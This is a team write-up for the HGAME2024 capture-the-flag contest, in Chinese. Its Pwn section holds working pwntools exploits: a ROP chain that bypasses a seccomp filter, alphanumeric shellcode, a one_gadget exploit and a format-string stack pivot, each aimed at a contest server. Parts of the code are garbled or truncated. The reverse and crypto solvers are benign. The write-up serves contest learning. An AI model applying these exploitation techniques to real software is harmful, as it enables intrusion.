HGAME2024



URL:

Username:z221x

Password:

Start Time:

End Time:

关于本文档

使用本文档来促进线上的队员和在比赛基地的队员之间的合作,并记录整个比赛的过程。添加新题目 请严格套用段落格式 Chall_name | Status | Name1 Name2

如何使用本文档

在你决定解一道题之前,请**一定查看这道题当前的状态**,并且**把你的名字加入列表**

- 有任何题目进展都请及时更新这道题的状态
- 题目状态:
 - OPEN

有人正在解或者之前试图解这道题。如果你正在或者准备开始做,请把名字加入列表并标上 Working_o

DONE

解决了! 鼓掌撒花!

- 队员状态:
 - WORKING

正在做。记得及时更新进展。

STUCK

卡住了。**如果你卡住了,请在下面留下当前进展和相关信息**(这样后来者就能联系你了)。 当你决定**放弃**这道题时,请把名字移除。

- 请勿将 key 直接贴在本文档中
- 重中之重: 请及时更新每道题的状态!

Web

Pwn

Ezsignin

答到

Elden Ring I

seccmop沙盒过滤了0x3b跟0x142

```
z221x@z221x-virtual-machine:~/Desktop/pwn/week1/seccmop$ seccomp-tools dump
ln
line
     CODE JT
                 JF
   0000: 0x20 0x00 0x00 0x00000004
                                A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000
                                if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) qoto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000
                                return ALLOW
0008: 0x06 0x00 0x00 0x00000000
                                return KILL
z221x@z221x-virtual-machine:~/Desktop/pwn/week1/seccmop$
```

尝试orw绕过,先泄露libc基址,然后构造ROP读文件,输出文件内容 Exp

```
1 from pwn import*
 2 #p=process("./vuln")
 3 p=remote("47.100.137.175",31803)
 4 elf=ELF("vuln")
 5 puts_got=elf.got["puts"]
 6 puts_plt=elf.plt["puts"]
 7 read_plt=elf.plt["read"]
 8 payload=b'a'*0x100+b'a'*8+p64(0x4013e3)+p64(puts_got)+p64(puts_plt)+p64(0x40111
   0)
 9 p.sendafter(b"an accord.\n",payload)
10 p.recvline()
11 puts_addr=int.from_bytes(p.recv()[0:6],'little')
12 libc=ELF("./libc.so.6")
13 libc_base=puts_addr-libc.sym["puts"]
14 open_addr=libc_base+libc.sym["open"]
15 read_addr=libc_base+libc.sym["read"]
16 write_addr=libc_base+libc.sym['write']
17 rdi=libc_base+0x23b6a
```

```
18  rsi=libc_base+0x2601f
19  rdx=libc_base+0x142c92
20  sleep(1)
21  payload1=b'a'*0x100+p64(0x404050)+p64(rsi)+p64(0x404050)+p64(0x40128a)
22  p.sendafter(b"an accord.\n",payload1)
23  payload2=b'/flag\x00\x00\x00'+p64(rdi)+p64(0x404050)+p64(rsi)+p64(0)+p64(open_a ddr)+p64(rdi)+p64(3)+p64(rsi)+p64(0x404150)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(rdi)+p64(1)+p64(rsi)+p64(0x404150)+p64(rdx)+p64(0x100)+p64(write_addr)
24  p.send(payload2)
25  p.interactive()
```

Ezshellcode

可见字符的shellcode

https://bbs.kanxue.com/thread-274652.htm

按照这篇文章学习的

第一次输入-1可以解除对shellcode的长度限制

思路就是第一次payload让函数直接调用read函数,输入后门shellcode,然后在回到call shellcode 第一个要记的点就是0x41*3等于0xc3,所以我们可以执行三次0 code,也就是add [rax] al,这也限制了shellcode的长度为0x41

执行read函数后的寄存器的值,发现rcx可用,0xe2^0x32==0xe2-18

```
assume cs:_eh_frame_hdr
;org 2068h
 GNU EH FRAME HDR:
                                          : DATA XREF: LOAD:000000000000028010
push
        41414141h
pop
        rax
push
        rax
push
        rax
        rax
push
push
        rax
        rax
push
push
        rax
push
        rax
        rax
push
        rax
push
push
        rax
push
        rsp
pop
        rax
        41414173h
push
        rdx
pop
xor
        [rax+48h], edx
                                         ; 0x41414141^0x41414173==0x32
        rdx
pop
pop
        rdx
pop
        rdx
pop
        rdx
        rdx
pop
        rdx
pop
        rdx
pop
        rdx
pop
        rdx
pop
pop
        rdx
push
        rcx
                                          ; 0x32^0xe2==0xd0
        [rax+48h], edx
xor
push
        31313131h
                                          ; read字节数
pop
        rdx
        rsi
                                          ; 垃圾数据
push
pop
        rax
push
        rsi
pop
        rax
push
        rsi
pop
        rax
        rcx
pop
push
        rcx
push
        rsi
                                          ; ret地址
push
        rcx
        al, 41h
xor
```

第二步payload就是syscall,直接上exp

```
9 sleep(1)
10 p.send(payload1)
11 p.interactive()
```

Elden Random Challenge

可以把随机数的seed覆盖成0,然后自己拿linux跑100个随机数

然后泄露基址,我直接用的onegadget

Exp

```
1 from pwn import*
2 #p=process("./vuln")
3 p=remote("47.100.137.175",30654)
4 payload=b'a'*14+b'\x00'*4
5 elf=ELF("vuln")
6 puts_got=elf.got["puts"]
7 puts_plt=elf.plt["puts"]
8 p.send(payload)
9 sleep(1)
```

 $\times 00 \times 00 \times 00 \times 00 \times 00 \times 00 \times 10 \times 00 \times 0$ \x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x57\x00\x00\x00\x00\x00\x00\x00\x5 \x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x00\x63\x00\x00\x00 x00\x00\x00\x00\x5c\x00\x00\x00\x00\x00\x00\x51\x00\x00\x00\x00\x00\x00\x00

x00\x00\x00\x00\x00\x00\x53\x00\x00\x00\x00\x00\x00\x2e\x00\x00\x00\x00\x00 4\x00\x00\x00\x00\x00\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x37\x00\x00\x00\x 00\x00\x00\x00\x00' 11 p.send(payload) 12 payload=b'A'*48+b'A'*8+p64(0x401423)+p64(puts_got)+p64(puts_plt)+p64(0x40125d) 13 p.sendafter(b'Here\'s a reward to thy brilliant mind.',payload) 14 p.recvline() 16 libc=ELF("libc.so.6") 17 libc_base = puts_addr - libc.sym["puts"] 18 one_gad = libc_base + 0xe3afe 19 payload=b'A'*48+b'A'*8+p64(0x40141c)+p64(0)+p64(

ezfmt string

20 p.sendline(payload)

21 p.interactive()

就一次格式化字符串漏洞,刚开始很头痛,但是在尝试的时候发现有一次栈莫名其妙的迁移了,然后查一查才知道有eave ret可以栈迁移。在偏移18的地方正好可以往rbp里面写东西,所以就可以进行栈迁移

有个小关键,进行栈迁移的时候一定保证栈足够大,后门函数调用system是会更新一个栈帧就是rbp-0xn00,具体多少没记住,假设这个更新后的栈恰好在不可写段就会出现错误,所以迁移的栈尽量远离,我选的是0x0x404f00,刚好一个内存页的尾部。

Exp

先往要迁移的栈上写后门地址,然后ret前进行栈迁移,ret的时候正好是后门函数地址

```
1 from pwn import*
2 p=process("./vuln")
3 #p=remote("47.100.137.175",32579)
4 payload=b'%4198973c'+b'%14$lln'+b'%15546ca'+b'%18$llna'+p64(0x404f00)
```

```
5 gdb.attach(p)
6 p.send(payload)
7 p.interactive()
```

Reverse

EZIDA

用ida64打开

EZUPX

脱壳,解异或加密

EZPYC

解包,然后pycdc,给两个数组,一眼异或加密

```
1 flag = [
 2
       87,
       75,
 3
 4
        71,
 5
       69,
 6
       83,
7
       121,
        83,
 8
 9
       125,
10
        117,
        106,
11
12
        108,
13
        106,
14
        94,
15
        80,
16
        48,
17
        114,
18
        100,
        112,
19
20
        112,
21
        55,
22
        94,
23
        51,
24
        112,
25
        91,
26
        48,
```

```
27
        108,
28
        119,
29
        97,
30
        115,
        49,
31
32
        112,
33
        112,
34
        48,
35
        108,
        100,
36
        37,
37
        124,
38
        2]
39
40 c = [
41
        1,
42
        2,
43
        3,
        4]
44
45 for i in range(len(flag)):
     print(chr(flag[i]^c[i%4]),end='')
```

EZASM

```
; Check flag
xor esi, esi
check flag:
mov al, byte [flag + e
xor al, 0x22
cmp al, byte [c + esi]
jne failure check
```

异或校验flag

Crypto

EZRSA

```
leak1=pow(p,q,n)==p
leak2=pow(q,p,n)==q
然后解rsa
```

```
1 from Crypto.Util.number import *
 2 import gmpy2
 3 p=14912717007361127196818257675129033155901844180572531042609541283758922767075
   7540743929865853650399839102838431507200744724939659463200158012469676979987696
   4190509008427982256658618123311136328924387427242029164160602665815901690638676
   88299288985734104127632232175657352697898383441323477450658179727728908669
 4 q=11612299271467091538130991696749043648902000117288064416717991546702179489292
   7977272080596641785569119134259037522388335198043152206150259103485574558816424
   7402047362155519334825839419599946253565812010545345293957817443386310214237031
   71146456663432955843598548122593308782245220792018716508538497402576709461
 5 c=10529481867532520034258056773864074017027019578041866245400647840230251661652
   9997097159196208109334371916611800032959232736556757295885588995925242356227288
   1606550191807612081223658034499114098099153234799125270528863301491347997061005
   6845543523591324177567061948922552275235486615514913932125436543991642607028689
   7626936173052467164927831168130703555126069716266455949618505675863403897058213
   1484209646563188681228128984313225813180977379777704935878918221257060625250979
   0830994263132020094153646296793522975632191912463919898988349282284972919932761
   952603379733234575351624039162440021940592552768579639977713099971
 6 phi=(p-1)*(q-1)
 7 n=q*p
 8 e=0x10001
 9 d=gmpy2.invert(e,phi)
10 flag=pow(c,d,n)
11 flag=long_to_bytes(flag)
12 print(flag)
```

EZMath

x**2 - D * y**2 == 1是一个pell方程,连分数法解佩尔方程特解,在网上找的板子

```
1 import numpy as np
 2 from collections import deque
 3 from Crypto.Util.number import *
 4 from Crypto.Cipher import AES
 5 enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17
   g\x0 \times d7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe
   \xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"
 6 def pad(x):
 7
       return x+b'\x00'*(16-len(x)%16)
 8 def encrypt(KEY):
 9
       cipher= AES.new(KEY,AES.MODE_ECB)
       encrypted =cipher.encrypt(flag)
10
      return encrypted
11
12 def decrypt(KEY):
       cipher = AES.new(KEY, AES.MODE_ECB)
13
```

```
m = cipher.decrypt(enc)
14
15
      return m
16 d = 114514
17 m = int(np.sqrt(d))
18 dq = deque()
19 dq.append(m)
20 \ n0 = n1 = d - m * m
21 \text{ m1} = \text{m}
22 while 1:
       q, m2 = divmod(m1 + m, n1)
23
       dq.appendleft(q)
24
       m1 = -m2+m
25
      n1 = (d-m1*m1)//n1
26
27
    if m1 == m and n1 == n0:
           break
28
29
30 dq.popleft()
31 b = 1
32 c = 0
33 for i in dq:
34 b1 = c + b * i
       c = b
35
       b = b1
36
37 print(b*b-d*c*c)
38 print(hex(b))
39 print(hex(c))
40 y=c
41 key=pad(long_to_bytes(y))[:16]
42 m=decrypt(key)
43 print(m)
```

Misc

做俩签到,不写wp了